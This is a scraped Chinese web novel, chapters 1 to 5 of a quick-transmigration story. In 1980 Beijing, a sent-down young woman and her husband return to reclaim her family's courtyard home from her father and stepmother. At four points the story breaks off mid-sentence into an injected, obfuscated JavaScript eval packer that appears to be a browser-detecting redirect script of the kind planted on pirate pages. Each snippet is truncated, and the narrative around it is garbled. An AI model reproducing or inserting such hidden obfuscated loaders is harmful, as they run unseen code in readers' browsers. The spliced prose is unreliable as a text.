《年代文炮灰夫妻[快穿]》 1. 第 1 章 1980年,春三月。 叮铃铃—— 清脆车铃声驶进六片儿胡同,晨起依次叩开了胡同里各院的大门。 胡同口大槐树往西第三间,往里穿过杂乱的前院,经过垂花门来到中院。 正房大门紧闭,西厢门从里推开,里面人影攒动,不多时东厢也有了动静。 西厢住着的是通机厂的六级焊工温宝昌一家。 重组家庭,两儿一女。 如这种多子女家庭,像前头十来年有硬性政策,要求城市户口到了年纪后没工作没结婚的青年支援祖国建设,哪里贫苦就去哪里。 北三省、大西北、蒙省、南云省…… 还有数不清的小山村。 温宝昌家算是个特例。 温宝昌亲生的孩子有两个,前头婆娘生了大姑娘,后头婆娘生了小儿子。加上后头婆娘带的一个儿子,拢共孩子三个。 孩子三个,下乡的却只有一个。 那一个还是前头婆娘生的姑娘。 老话说有了后娘就有后爹,一点没错。 顶漂亮一个小姑娘,十四岁就被家里报名去了秦北插队下乡。 秦北是哪里? 黄土高原,山大沟深,土地贫瘠,连口水都难吃上。 娇滴滴水灵灵一个小丫头,一卷薄薄的被子就打发走了。这么些年大家瞅着,竟没一个包裹给这丫头寄过去。 就算丫头做了错事,但当亲爹的这样做也太绝。 院里的邻居私下说起来都不落忍,直骂温宝昌狠心不是个东西。 如今知青返城越来越多,但温家这日子过得,好似半点儿不记得还有个在乡下的丫头。 老一辈儿的人嫌弃撇嘴。 他温宝昌当年就是个逃荒过来的穷小子,一身脏污地进了温家,连姓连名都是当年温老头这个师父给的。 温老头还带他进厂收他为徒,简直拿温宝昌当亲儿子养。 结果这就是个白眼狼! 温老头刚没,温宝昌就在外头勾搭上了现在的媳妇儿闫春芝,还闹到怀了孕的媳妇儿温苒亲娘跟前。 这不温老头前脚下去,唯一的姑娘就带着肚里孙子后脚找他团聚了。 哟呵! 这下子温宝昌一个倒插门的可算是能当家做主了,大摇大摆地领着外头大了肚子的小婆娘住进这院里。 天晓得西厢那三间房都还是他师父的呢! 害死温家母子,把人家留下的唯一血脉扔到乡下吃苦,这么些年还不闻不问。 也不知道午夜梦回,温宝昌和闫春芝这对狗男女睡得可踏实? 大清早。 西厢堂屋的饭桌上呼噜声连片。 温宝昌夹了两筷子咸菜干巴巴嚼着,老脸阴沉沉的写满了心事。 媳妇儿闫春芝给他剥了个鸡蛋,捏着送到他嘴边,神色关心:“宝昌哥,是不是身体不舒服?” 温宝昌就着媳妇儿的手,一口吞掉鸡蛋,就着米汤咽下去,摇摇头:“让你操心了,不是我的事,我在想小苒那丫头。” 小苒。 温苒。 温宝昌头婚和媳妇儿生的丫头片子。 闫春芝表情一僵,忙低头掩饰自己的厌恶,哽咽道:“是我这个后娘没当好……” 温宝昌摆摆手,打断她的话:“不是你的错,是那丫头任性歹毒,竟然敢对自己亲弟弟下手?让她在乡下吃吃苦头是好事,省得不知天高地厚!” 温宝昌手边的位置,温志伟眼神闪了闪。 那丫头? 说的是他同父异母的姐姐? 他记得,她长得很漂亮,就是看他的眼神恨不得他去死。 温志伟在心里重复了一遍他爹的话:在乡下吃吃苦头是好事。 他还想,最好她就留在乡下,别回来了。 虽说当年她确实没对自己做什么,但温志伟一点都不后悔撒谎。 她不下乡,那下乡的就只能是自己。 再说他也是为了自保。 她那样仇视自己,又和自己同处一屋檐下,难保哪天不会真的做点什么。 这样无所谓地想着,温志伟瞥了眼对面。 大哥宋爱民低头喝粥看不清神色。 大嫂陈招娣眼神飘忽,明显一副心虚的样子,手搁在桌下不停动作,一旁小侄女扭动着身体闪躲,面上泪花都出来了。 嗤! 温志伟在心底嘲讽地冷笑。 宋爱民想儿子想疯了,偏偏一连生了三个丫头片子,就这还敢成日惦记他的东西? 宋爱民他姓宋,他们温家的东西跟宋爱民有丁点关系没有? 早饭后。 温志伟抹抹嘴,“爸,我回屋看书了,您上班骑车小心点。” 温宝昌对儿子的孝顺很是受用,满脸欣慰道:“别太用功了,仔细眼睛。给你的钱还够用不?晌午去饭店买个荤腥菜,吃饱吃好身体才好,复习起来才更有劲。” 宋爱民神情微顿,开口一副好大哥的样子鼓励道:“一次两次考不上你也别灰心,爸妈还有大哥都全力支持你,有什么事尽管使唤几个丫头,别让自己累着。” 陈招娣则是一脸不忿,小弟的伙食本来就够好了,日日有鸡蛋点心也管够,还要花钱去饭店买饭?这不是搞小资享乐主义吗? 温宝昌将夫妻俩的反应收入眼底,神色淡淡的。 在他面前玩心眼儿,这手段还嫩了点儿。 他拍拍儿子的肩膀,“你尽管学你的,有爹在,没人敢对你指手画脚。” 温志伟咧嘴笑了,大声应道:“爸我知道!” 宋爱民脸色霎时难看得紧。 闫春芝给大儿子一个安抚的眼神,又唤来小儿子鼓励几句,最后吩咐大儿媳收拾饭桌。 众人散去。 温宝昌背着手出了屋子,到院里推自行车去上班。 搬着自行车过两道门,接着骑出了胡同,却见他去的方向不是通机厂,而是七拐八扭来了房管所。 西厢。 宋爱民和闫春芝去里屋说话,“妈,房子的事您跟那老家伙提了吗?” 一墙之隔,温志伟的房间。 他打开窗户,探出上半身去够隔壁窗户,就听到了这一句。 房子? 温志伟仰头看了一圈自家这房子,脸色突然变得难看。 宋爱民想要西厢这三间房子? 也真敢想? 这是他的房子! 温志伟攥着拳头,气得脸色涨红,咬紧牙关在心里咒骂着。 这是他爹温宝昌的房子,宋爱民一个后娘带来的野种,他也配? 温志伟安慰自己,妈不会同意的,她也是自己的亲妈,没道理什么都偏向另一个? 隔壁屋。 闫春芝语气不大好,“说过了,你温叔不同意。” 宋爱民脸色一沉,他就知道,老家伙嘴上说得好听,实际上从来没把他当儿子。 闫春芝见儿子脸色不好,忙向他保证:“我再劝劝他。他是厂里的老技术工,他打申请分房怎么都能分到,到时候你就让……搬进去……” 后面的话闫春芝压得声音极低,温志伟没怎么听清。 但他却清楚了,宋爱民没打算要现在住的房子,他盯上了厂里给爸分的房子。 温志伟牙齿咬得嘎吱嘎吱响,想得美! 秦北兵团。 326部队驻地的某处窑洞里。 霍骁北揭开锅盖,拿勺子拨了拨上下翻滚的白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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能力出众难道是指温志伟能偷会抢精明算计,对上谄媚对下无情对朋友可以随时背叛吗? 温宝昌和温志伟不愧是父子,温志伟把他爹的手段学了个青出于蓝而胜于蓝。 娶了局长的千金后他拉着虎皮为他的事业助力,等他事业有成而局长退休,他立马翻脸无情。 至于温苒,她只在温志伟重新回到四合院,回想起在这里的生活时名字出现过一次的便宜恶毒姐姐,但这个恶毒姐姐早就死在了乡下。 高原上水资源匮乏,每家每天只有一小桶水吃喝。 温苒爱干净,霍骁北就用签到系统给的水烧了一锅,兑好供她擦洗。 次日赶大早起来。 两人搭运输连的卡车去火车站。 司机是霍骁北这个身份的老熟人老战友,绷着脸帮忙把行李推上后面车厢,后头一路都沉默着没话。 到了车站。 霍骁北先下车,再抱温苒下车。 背上行李,他和战友告别,“到了长京市我会给这边打个电话。” 战友冷着脸,听见这话下意识回道:“谁稀罕?” 他瞪着温苒,眼神不善,话却是对霍骁北说:“外头过不下去就回来,总不会缺你一口饭吃。” 货卡突突开走了。 温苒收回视线,仰头玩笑道:“他不会把我当成骗子了吧?” 霍骁北:“……” 大概……也许……可能…… 谁让他在两个月内先后和刚认识的漂亮女知青结婚、申请转业并把工作卖掉,然后跟着一起去长京市呢? 2. 第 2 章 从秦北太宁市到长京没有直达的火车,中间要转乘两次。 火车在大大小小的站点经停,有乘客上车,有乘客下车,每到这时车上的热闹就会再更上一层。 不过最吸引温苒的还是站台上售卖各种小吃的食摊儿。 油炸果子、红糖麻花、芝麻火烧、糯米饭团、香甜粉糯的糖炒栗子、在炉子里煨到流糖心的番薯…… 第一站换乘在怀交站,是个因修建铁路而发展起来的新兴城市。 在怀交落宿两天,休整一番后,两人精神满满踏上火车。 三天后,在沪海下车。 踏上熟悉的土地,温苒恍惚了一瞬。 她和霍骁北见过后世二十一世纪繁华富丽的沪海,也见过十九世纪租界林立人间和地狱共存的沪海。 如今一九八零年改革开放初的沪海,虽比不上后世繁荣,但她却是只属于华夏人民的明珠。 两人在沪海停留了五天,四处转了转,这一转就几乎花光了所有的积蓄,最后兜里只剩八十块钱。 不过温苒半点不心疼,花出去的钱都换成了手表和丝巾,等到了长京市反手卖出去,一千块钱转手就能变成一千三百块钱。 这还是往保守算的。 一路颠簸终于到了长京市。 到站时是凌晨四点多,天色乌漆嘛黑的。下车后,霍骁北先找了处招待所,要了一间有浴室的房间。 温苒先去洗漱,霍骁北把房间布置了一下。 这处招待所是新建的,看起来也比较干净,但也只是看起来。 毕竟这见天迎来送往的,就是到了后世那卫生条件也很堪忧。 把双人床挪到墙角,也不费那劲,先收进系统包裹再放出来,轻悄悄儿的一点动静都没有。 空出来的大片地方铺上塑料布,塑料布上摆出帐篷,帐篷里铺上厚厚的松软的褥子,温度调高,等温苒洗完澡进来正好暖烘烘的。 这顶高科技帐篷集调节温度、湿度、净化内部空气、隔音、防火防水等多种功能为一体,足足花费了二百积分。 一积分在签到系统商城可以兑换十斤面粉,二百积分就是十吨。 而积分获取来源目前有两种方式:系统签到和任务结算。 严格来说这个世界是两人的第一个任务世界,和上个世界物资、积分保留以及有补偿技能相比,这个世界系统物资清零,等级清零,只有积分保留下来。 上次世界没有任务,但结算时根据两人表现意思意思给了200积分。 加上签到累积的积分,有八千出头。 一级系统升到二级的条件有两条: 1.连续签到三十年; 2.扣除5000积分。 系统二级升到三级所需积分翻倍,也就是一万点,三级到四级则是五万点,依次类推…… 签到系统每天签到奖励物资和积分,系统升级相应每天的奖励也会增多。 扣除五千积分选择升级后,目前系统二级,通常一天有两点积分,使用翻倍卡积分也会相应翻倍。另外连续签到每月、每年、每十年会依次奖励1点、10点、100点积分。 上个世界补偿温苒的是神医技能,满级LV10,她学了几十年才学到LV4,还全靠她天资聪颖又勤奋努力。 LV10的神医技能,凌驾于死神之上,可以做到一眼看穿病灶,翻手救人性命。 LV5则是一般世界能达到的最高等级,再往上不仅需要大量经验,还涉及到炼丹、魔法药剂等特殊领域。 霍骁北的古武技能,因为他有基础,所以目前等级是LV6。 同样LV6已经是一般等级世界所能达到的最大外功等级,再往上则需要内力、灵力、仙力、魔法等非唯物主义物质。 学到手的技能就是她们自己的。 此外温苒还多了一个表演技能,满级LV5,花费500积分购买技能和配套课程,又花费500积分升到LV3。 有了这个技能,温苒终于可以淡定地撒谎而不被一眼看穿。 积分还可以兑换金银等贵重金属,上个世界一开始两人身无分文,在这上面花费了一百积分。 再加上其他拉拉杂杂的花费,至此,系统积分剩余1536点。 别看这点积分好像很多,实际上买两个便宜技能再买下相应配套的课程就没了。 技能升级一种方式是通过学习和练习,此外走捷径就是使用积分升级。 不过后者需要适应期,而如果技能和本人天赋不匹配,需要花费的积分就不仅仅是翻倍那么简单了。 从这个方面分析,温苒的表演技能升到LV3只花费了500积分,侧面说明她其实只是不擅长撒谎,本人应该是有表演天赋的。 系统积分难赚,但花起来如流水。 如今区区还不到两千的积分,也就刚好让两人过上不愁吃穿的生活。 窗户大开着通风。 三月的长京市春寒料峭,不多时房间里就冷得像蒙了层霜。 霍骁北收拾好房间,取出一锅大骨汤,下两把面条,添上把小青菜,继续开火熬煮。 看了眼时间,他拿着厚衣服等在浴室门口。 温苒洗完澡出来,兜头就是暖烘烘的军大衣,她仰起脸笑得眉眼弯弯。 霍骁北捏了把她脸颊,“屋里冷,先进帐篷,把头发吹干再出来。我煮了面条,之前准备的干粮还剩下包子和两张馅饼,想吃什么?” 温苒摇摇头,“我吃面条就够了,没什么胃口。” 房间里有暖气,但只有晚上才烧得热,白天摸起来温温的,压根不管用。 关上窗户后,一时半会儿也暖和不起来,干脆就挪到帐篷里吃饭。 一碗热腾腾的骨汤面条,搭配爽口的腌菜,温苒还被盯着啃了大半个肉包子。 肚子饱了,人也困了。 温苒漱漱口,钻进暖和的被褥里,倒头就睡。 霍骁北去冲个澡,把两人换下来的衣服洗了,也进了帐篷,抱着媳妇儿补觉。 这大半个月在车上的日子真是不好过。 吃上好歹事先准备过,热汤热饭随时就有。 但在火车那种环境下,气味交杂,还不停颠簸着,着实是没什么胃口。 卫生问题就更不用讲,一套衣服穿上车穿下车。 霍骁北有过这种经历还能忍受,温苒就遭难了。他因此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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温苒母亲过世前,把这两样连同存折都交给了温苒。不过温苒当时才三岁,拿到手也肯定保不住。 温苒母亲当然不是不清楚,所以她一方面请师兄夫妻照看小温苒,一方面把重要物品存放进银行,钥匙也暂时交给了师兄夫妻。 那温苒的母亲温慧又如何确定师兄夫妻是可以信任的呢? 她其实也不确定。 但她那时出气多进气少,眼看时日无多,除了放手一搏没有别的办法。 最差的结果,也不过是那些东西被师兄夫妻夺走。 可这个结果与东西被温宝昌夺走又有什么区别? 甚至东西落在温宝昌手里,不见得比落在外人手里好。 温苒要想拿回房子,首要应该去一趟原身母亲的师兄家里,拿到钥匙,取出房契地契。 时代背景下,许多空置房屋被人抢占据为己有。剧情里温宝昌就因贿赂了房管局的小干事,才能无凭无据地把房产转到他名下。 但也正因如此,温苒才必须要拿到两样契书。如此即便迟温宝昌一步,她照样也可以凭借两份证明拿回房子。 掏钱买了几样礼品,次日,温苒和霍骁北就拎着东西去了通机厂大院。 找原身母亲的师兄,拿钥匙。 3. 第 3 章 温苒母亲的师兄姓周,周爱民。 和温宝昌一样,周爱民是温苒爷爷的徒弟。和温宝昌不一样的是,周爱民是大学生,有文化,是干部身份。 知识分子在那段时期不怎么好过,周爱民就曾下放劳动过一段时间。 周爱民的妻子郝红梅是个大夫,和温苒的母亲温慧是打小的同学,关系亲近。 温苒确定下放地点后,郝红梅心疼她,还曾为她找关系试着换到北江兵团,奈何那时她们家自身难保,终是没成。 不过下乡这几年,温苒倒是接到过几次来自红梅姨的包裹。 这天刚好是星期日,工人放假,家属院里大人孩子作团磕闲玩耍。 夫妻俩拎着东西进来,一下子就吸引了众人的注意力。男女老少都下意识噤声,目光不由自主地随着俩人移动。 生面孔、长相气质出众、拎了不少东西,这三个要素凑到一块,实在没办法不让人好奇。 “来探亲的?” “那男同志瞅着挺像当兵的。” “哎别说了别说了他们过来了!” 众人噤声,看着夫妻俩来到跟前。 女同志开口询问:“同志好,请问通机厂的周主任周爱民和他爱人郝红梅大夫是住在这里吗?” 人群里一位大婶热情地上前,“你们是周主任家亲戚?他和他爱人确实住咱们大院,就那栋楼,新盖的,我带你们去!” 周爱民下放后,厂里分的房子就被收了回去,现在的住处是重新分配的新宿舍。 大婶一路上嘴没停过,先说了一番周家这几年的遭遇,又旁敲侧击询问夫妻俩跟周主任家啥关系俩人啥工作来这干啥的…… 好不容易到了周家,敲门声后一个女同志开的门,“是婶子,进来坐会儿?” 大婶摆摆手,“我不是来串门,是带路的,你家亲戚来了。” 温苒上前两步,抿嘴微笑,“芳姐,我是温苒。” 周新芳一开门就注意到了俩人,但那不是不认识么,这会儿听见温苒的话,瞪大眼睛足足愣了三秒,“小苒?!” 她张着嘴,仿佛不知道该说什么,转头看看屋里像在找什么人,又立马扭回来好像在确认温苒在不在。 几次后终于反应过来,周新芳面露喜色,回头冲屋里喊:“妈!妈!你快出来!” 又转头拽着温苒进屋,“快进来,快进来说话。” 也不忘对那婶子说:“婶子我就不留你了,我妹子回来了!” 门合上了,那婶子下楼前还听到屋里传来周新芳喜悦的嗓门:“妈!你快看谁回来了?” 那婶子一脑门雾水,没听说周主任还有个姑娘啊? 郝红梅正在记账,听见闺女咋咋呼呼的声音,无奈地摘下眼镜出去,就见闺女带着一个漂亮又眼熟的姑娘过来,献宝一样推到她跟前。 “妈,你快看这是谁?” 郝红梅又戴上了眼镜,眯着眼睛仔细盯着温苒瞅,“有点眼熟。” 周新芳大声道:“妈,是小苒!是小苒回来了!” 郝红梅一下愣住,“小苒?长这么漂亮了?” 周新芳噗嗤一声笑出来,“啊对,长这么漂亮了!” 郝红梅稀罕地拉过温苒的手,“比你娘还好看。” 温苒笑眯眯点头,“我也这么觉得。” 郝红梅愣了下,没忍住也笑了,点着她鼻子道:“你个小丫头!” 说起来,任务者用的身体其实还是任务者自己的身体。 更准确来说,是克隆体。 按照正规合法流程,世界意识会对克隆体进行检查处理,打上合法进入标签,再输入替代对象的特征,这样在世界规则上任务者就正式代替了替代对象。 相比之下,灵魂穿越、身体穿越在世界规则上属于偷渡行为,恶劣影响数不胜数。 所以温苒的长相还是她的长相。 多年不见,物是人非。 母女两个挨着温苒很是亲近了一番,才听温苒说起来意。 郝红梅支使周新芳,“新芳,去你爸书房,把书架上那本《机械原理》拿过来。” 周新芳去拿书,郝红梅跟温苒解释,“那几年到处不安稳,你家以前的邻居偷偷跟我传话,说温宝昌想要银行里的东西,我跟你叔先一步把东西取出来,后面那银行就让人砸了。” 温苒表示感谢:“这些年辛苦红梅姨替我操心。” 郝红梅佯装不悦,“跟红梅姨还见外。” 周新芳拿来的书里夹了两张房契地契,还有一张存折,郝红梅都交给了温苒。 “存折到期快两年了,你尽快去银行处理一下。” “还有这房子,房子你咋想的?” 来之前就计划好了,温苒道:“我想拿回来,把鸠占鹊巢的那些人赶走,还有我爷爷和我娘留下的工作,我也要拿回来。” 郝红梅皱起眉,“这事不好办。” 周新芳插嘴说道:“不好办也得办,总不能白白便宜了那些王八羔子吧?” 郝红梅瞪了眼闺女,转头问温苒:“你有什么主意没?需要用到红梅姨和你叔的时候尽管开口。” 温苒点点头,“谢谢红梅姨,不过这次可能真的需要您帮忙。” 郝红梅张嘴还没出声呢,周新芳应得嘎嘣脆:“尽管说!新华新强新杰都在家,你姐夫家也有俩兄弟,到时候都喊上,就不信要不回你的东西!” 温苒:“……” 郝红梅拍了下闺女,“你先听小苒说!” 温苒道:“人不用太多,省得他们倒打一耙说我们仗势欺人。而且我有房契地契,去房管所直接过户就行,等房子到手他们有再多的主意都没用。” 郝红梅和周新芳闻言俱是眼睛一亮,“这办法好!” 郝红梅两手一拍,又道:“你们院里老人都知道温宝昌的底细,房子这事他不占理,到了你手里他是无论如何也抢不走的。” 周新芳忧心:“那万一他仗着是小苒她爹,不愿意搬走非要接着住怎么办?” 这时一直沉默寡言的霍骁北出声了:“他可以住,别人不行。” 郝红梅赞同地点头,不过态度却不乐观,“理是这么个理,可他们要赖着不走也不是个办法。” 霍骁北看着温苒,周新芳顺着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍骁北瞥了眼,“收着吧,上个月满签给了个豆浆机,改天拿过去。” 温苒点头,“应该是让我们买东西送礼用的。” 洗漱过后躺在帐篷里,霍骁北道:“明天去四合院,赶上班或下班的时候出现,那时候人多,热闹。” 温苒睁眼,“下班!下班的时候人们有空!” 霍骁北一点也不意外。 静了静,他幽幽出声:“不是因为起不来?” 温苒:“……” 就显着你是大聪明是吧? 第二天拾掇出提前备好的脏衣服,两人晌午把烤鸭吃了,歇了歇,换上脏衣服去退房。 前台女同志看他们的眼神都变警惕了,心里直犯嘀咕,妈耶,这俩人啥时候来的? 办理好退房,埋汰两口子晃悠到了六片儿胡同。 正是工人下班的时候,胡同里人挤人车挤车,邻里街坊的那叫一个热闹。 槐树口第三间,衣衫褴褛的一男一女砰砰敲响了这院的大门。 4. 第 4 章 这年头人员流动不频繁,出个生面孔就很显眼。 加之历史遗留因素,百姓们见了生人最先冒出来的就是警惕。 这不,左邻右舍都停下了步伐。 院里二大爷曲胜利下班回家,就见自家院门前聚了一撮人不知在看啥。 他操着大嗓门喊:“让一让!让一让!” 挤到最前面,他回头,“下班不回家吃饭都围在我们院跟前干啥呢?” 隔壁院的大嫂指着院门上蹲着的俩人,“大爷,您家院里来亲戚了?” 曲胜利顺着那人指的方向看了俩人一眼,灰头土脸的,他没啥印象。 却不想那女同志看到他,蹭一下站起来,三步并两步跑上前来,“曲伯伯!” 曲胜利:“???” 围观群众好奇:“曲大爷,原来是您家亲戚啊?” 曲胜利瞪了说话那人一眼,瞎说啥玩意呢,我家哪就有这么穷的亲戚了? 穷亲戚又开口了,“曲伯伯,我是小苒!温苒!我爷爷是温有良,我娘是温慧!” 曲胜利嚯一下俩眼瞪得跟铜铃一样,“啥?你、你这、你是小苒那丫头?!你这是回来了?你咋成这样了?快快,快进来,进来说!” 招呼着温苒和霍骁北进院,曲胜利回头冲围观众人道:“都散了吧,是有良大哥的孙女从乡下回来了。” 有人恍然大悟,“哦,是温大爷家孙女。” 人群散开时的议论时传到霍骁北耳朵里,他眸色深了深。 曲胜利是街道派出所的副所长,大小是个干部,前院正房三间两间是他家的。 “快屋里来,刚从火车上下来吧?我叫你奶给你下面,先热乎着吃一碗暖暖身子。” 吃面就先不吃了,她们还要更要紧的事情呢。 温苒忙道:“不了不了,我回来带了些乡下的特产,曲伯伯这份是您的。” “这些年我不在,我家的事情多亏了咱们邻里街坊照顾,我想去拜访感谢一下大家,大爷您看您能给我带个路吗?” 曲胜利被塞了一包萝卜干,他愣了下,回过神来赶紧点头应道:“能!当然能!不过……” 他有心想说点什么,可一看还在院门口人来人往的,只好先憋回去,改口道:“那丫头你等大爷把车锁好。” 曲胜利去放车,霍骁北小声跟温苒道:“记得老爷子的人很多。” 温苒点点头,说道:“待会儿你负责观察曲大爷,他是院里的二大爷,还是街道派出所的副所长,如果他信得过,过户的时候可以请他去做证明。” 大院管事大爷设立之初的目的是为了抓特务,也兼职管理维持大院秩序的任务。 先前温老爷子温有良还在的时候,他是个热心肠,德高望重,被院里选为了一大爷,平素真是不少帮大家的忙,街坊邻居们也大多都记在心里。 温有良过世后,温宝昌一时得意忘形,让闫春芝大着肚子上门气死了温慧。 这茬儿事一出,要不是还有小温苒在,温宝昌好悬怎么来的长京市就怎么滚出去。 温老爷子的徒弟朋友们,帮助过的街坊邻居们都出了力,登时就让温宝昌清醒过来。 温有良广结善缘,自然也惠及到了温苒。 她还未下乡时,有街坊邻居们照看,加上温宝昌吃过个大教训,和闫春芝并不敢怎么在明面上磋磨温苒,不过背地里小手段是一点没停过。 后来到了运动时期,有了知青下乡政策,温宝昌这老小子和闫春芝一商量,就替温苒报名去了最艰苦的秦北,打的就是个一辈子不让她回来的主意。 为了粉饰太平,他们还设计陷害温苒,好让温苒下乡这件事变得理所当然。 这几年没有温苒在跟前碍眼,温宝昌这一家子该是过得畅快舒心,恐怕已经把温苒忘到了脑后坎儿。 曲胜利出来时还带了个人,一看到温苒眼睛就亮了,“温苒!真的是你?” 年轻男人嗖嗖跑上前,张开手臂眼看就要抱过来,霍骁北先一步挡在温苒身前,“同志你好,我是温苒的爱人。” 曲平安一个急停,震惊地看着霍骁北,“温苒你你你结婚了?” 曲胜利咳嗽一声,把儿子拽到一旁,看看身形高大的霍骁北,再看看温苒,关心道:“小苒,你在乡下结婚了?” 温苒点头,给父子两人介绍霍骁北:“曲伯伯,这是我爱人霍骁北,之前在秦北兵团当兵。” 曲胜利小声念了句‘原来真是当兵的’,再看霍骁北的眼神就变得真诚多了,“走,我带你们去好好转转,完了咱们去饭店我给你俩接风。” 曲平安颠颠儿跟在后头,“爸你可带够票,我看妹夫这体格饭量应该不小。” 霍·妹夫·骁北:“?” 他道:“不牢伯父破费,应该是我和温苒请您吃饭才对。” 温苒嗯嗯点头,“不过得改天了,我们俩刚下火车,拜访完邻居想先去洗个澡。” 曲平安立马道:“那咱一起,我带妹夫去澡堂,咱附近轧钢厂新开了个澡堂小苒你还不知道吧?” “我年前回的城,我爸给我在轧钢厂找了个临时工的工作,我带你们去澡堂不要票。” 曲平安真能说,嘚啵嘚一顿嘴就没停过。 讲完他自己不算,到了谁家转头就着这家又是一顿讲。 “这家的姑娘跟我前后脚回的城,听说是逃回来的。” “这家老爷子前两年没了,兄弟仨就着一间房打得头破血流。” 温苒:“……” 她看着幼时一起玩的小伙伴,很认真地问:“你不是也没回来多久,怎么知道得这么多?” 曲平安一扬下巴,“嗐!我是谁?我打小就是咱们胡同孩子王,谁能有我消息灵通?我一回来就把前后几条胡同还有你们厂里的情况都摸透了,想知道什么尽管问我就是!” 听他这么说,温苒竟然一点不觉得意外。 这家送一包菜干,那家送一包菜干,送完一条胡同,温苒和霍骁北的行李也空了一个包裹。 加上曲平安每到一家就恨不能拿喇叭一样吆喝着‘这是温苒,有良大爷的孙女’,现在整条胡同无人不知无人不晓‘温有良的孙女温苒’回城了。 自然,下班回到胡同大杂院的温宝昌一家也知晓了。 西厢暖黄的灯泡亮着光,气氛却一片死寂。 温宝昌独自在屋里炕上歪着,脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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多余的,一个字也不说。 温宝昌上下打量着霍骁北,这人这体格这气质,看着就不太好惹,他心下沉了沉,态度冷淡地嗯了声。 紧接着他开口,却是道:“小苒,前院你二大爷家的平安你还记得吧?你们小时候常凑在一起玩,那会儿都不带对门家的孩子,说他是乡下泥腿子生的,又脏又臭。之前你下乡不久,平安就也马上报了名,这么多年在乡下一直单着呢,年前他回城见了我就一直跟我打听你的消息,你说说这……” 温宝昌摇着头,感慨道:“唉!都长了大了啊!” 温苒:“……” 这只要不是个傻子,都能听出来他话里的挑拨之意。 温苒抿嘴假笑,“爸,我怎么会嫌弃国强哥,嫌弃国强哥的是闫大娘和她俩儿子。” 闫大娘闫春芝脸黑了。 温苒继续说道:“毕竟我爸也是从乡下来的,我也是泥腿子生的,哪有自己嫌弃自己的?” 泥腿子温宝昌脸也黑了。 5. 第 5 章 闫大娘和泥腿子爹的表情很精彩。 温苒还能让他们更精彩。 “爸,先不说了,天也不早了,我和霍骁北得先收拾房间,不然晚上没地方休息。” 房间?这家里哪还有空房间给温苒休息啊? 闫春芝张口忙要说让这俩去住招待所,温苒当没看到,抢在她之前大声道:“我原来住南屋,霍骁北你把行李放过去,咱们得快点,平安哥说要带我们去澡堂,可不能耽误了,不然待会儿澡堂人多。” 霍骁北像个言听计从的机器人,一切以温苒马首是瞻,她说什么他做什么。 大高个子一手拎一个包裹,径直走向南屋。 闫春芝那个脸色难看的,赶忙叫住她:“小苒!” 温苒停住转身,不解道:“怎么了闫大娘?” 闫春芝心里不停冒脏话,面上却还得亲热着。 她脸上挤出一抹笑,小碎步上前,拉过温苒的手拍了拍,“小苒,家里房间不多,你看,天也晚了干脆别折腾了,你们俩找间招待所凑合凑合?” 温苒挑眉。 恐怕不是凑合凑合,今天但凡她和霍骁北出了这个门,以后也别想找理由再回来。 闫春芝摸出了两块钱,装模作样塞到温苒手心,合上,然后温温柔柔看向了霍骁北,说道:“骁北,快带小苒去找个招待所,这天也不早了……” “天也不早了,所以我们俩得尽快把房间收拾出来。”温苒夺过话头,似笑非笑地盯着闫春芝。 闫春芝脸上的笑意僵了僵,沉住气道:“小苒,南屋现在是志伟在住,他马上要高考,正是紧要关头,你当姐姐的,肯定不会这个时候去打扰他,对吧?” 温苒把钱团吧团吧塞兜里,抬起头诧异道:“南屋一直是我在住啊,爷爷在的时候南屋就是我的房间,我的房间我为什么不能住?” 温宝昌一直伪装的和善表情也绷不住了。 温有良之于温宝昌,是他的师父是他的岳父是他的救命恩人再造父母,也是压在他头上的五指山。 五指山动了,被压在山底下的温宝昌那叫一个难受。 更别说让他难受的人还是温苒,他立时就冷下脸,不耐烦道:“那是你弟弟!我还以为你下乡这么多年有长进了,没想到还是这么自私!” 温苒转头,静静看着这老东西,到底谁才自私啊? “爸,我妈有两个孩子,我是生出来的那个,还有个没生出来的,据大夫说倒是个弟弟。” 这下子温宝昌和闫春芝的表情已经难看到无法直视了。 当年因为这件事闹得,可把这俩人吓够呛。 温宝昌气得直哆嗦,“你!” 温苒给霍骁北个眼神,让他继续。 她也继续,继续戳这老东西的心窝子,“温志伟能不能考得上有没有地方住,那是他爸妈该考虑的事情,我和他非亲非故,又不是他妈,我可不敢和他沾边,免得又传出我什么刻薄恶毒的闲话来。” 闫春芝差点气个仰倒,这小妮子下乡这么多年没学会老实,学会怎么耍嘴皮子了? 她这些年过得顺当自在,很少有这么憋屈的时候,一下给她气得都不知道该怎么反驳了。 温苒看着脸色铁青的温宝昌,“人家都说有了后妈就有了后爸,爸,你应该不像外边那些脑子糊涂的男同志,替你自己的亲女儿假大方吧?” 她刻意咬中‘后爸’两个字,提醒这老东西,温志伟可是闫春芝怀胎四个月大着肚子带进门的。 虽然胡同里大家都门清儿,温志伟保准是温宝昌亲生的,温宝昌也像对亲儿子那样对温志伟,但他绝不敢直接承认温志伟是他亲生的。 否则当年温宝昌就是出轨!就是和闫春芝搞破鞋! 这年头名声多重要,没个好名声连工作都保不住。 